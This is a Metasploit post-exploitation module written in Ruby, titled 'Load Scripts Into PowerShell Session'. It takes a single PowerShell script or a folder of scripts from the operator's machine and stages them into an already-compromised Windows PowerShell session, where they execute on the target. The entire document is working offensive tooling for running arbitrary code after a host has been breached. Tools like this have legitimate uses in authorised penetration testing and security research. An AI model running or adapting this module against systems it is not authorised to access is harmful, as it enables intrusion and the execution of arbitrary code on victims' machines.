Load Scripts Into PowerShell Session

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Load Scripts Into PowerShell Session',
        'Description' => %q{
          This module will download and execute one or more PowerShell scripts
          over a present powershell session.
          Setting VERBOSE to true will show the stager results.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['powershell'],
        'Author' => [
          'Ben Turner benpturner[at]yahoo.com',
          'Dave Hardy davehardy20[at]gmail.com'
        ]
      )
    )

    register_options(
      [
        OptPath.new('SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
        OptPath.new('FOLDER', [false, 'Path to a local folder of PS scripts'])
      ]
    )
  end

  def run
    if datastore['SCRIPT']
      stage_psh_env(datastore['SCRIPT'])
    end
    if datastore['FOLDER']
      files = ::Dir.entries(datastore['FOLDER'])
      files.reject! { |u| %w[. ..].include?(u) }
      files.each { |script| stage_psh_env(datastore['FOLDER'] + script) }
    end
  end
end